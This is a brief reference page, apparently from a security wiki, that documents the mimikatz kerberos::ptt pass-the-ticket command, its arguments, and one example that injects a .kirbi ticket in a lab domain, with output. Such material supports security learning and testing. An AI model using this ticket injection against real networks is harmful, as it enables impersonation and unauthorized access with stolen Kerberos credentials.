kerberos::ptt is used for passing the ticket by injecting one or may Kerberos tickets in the current session. The ticket can either be a TGT (Ticket-Granting Ticket) or an ST (Service Ticket). It has the following command line arguments:
  • /filename - the ticket's filename (can be multiple)
  • /directory - a directory path, all .kirbi files inside will be injected.
mimikatz # kerberos::ptt [email protected]~HACKLAB.LOCAL-HACKLAB.LOCAL.kirbi
* File: '[email protected]~HACKLAB.LOCAL-HACKLAB.LOCAL.kirbi': OK
Last modified 1yr ago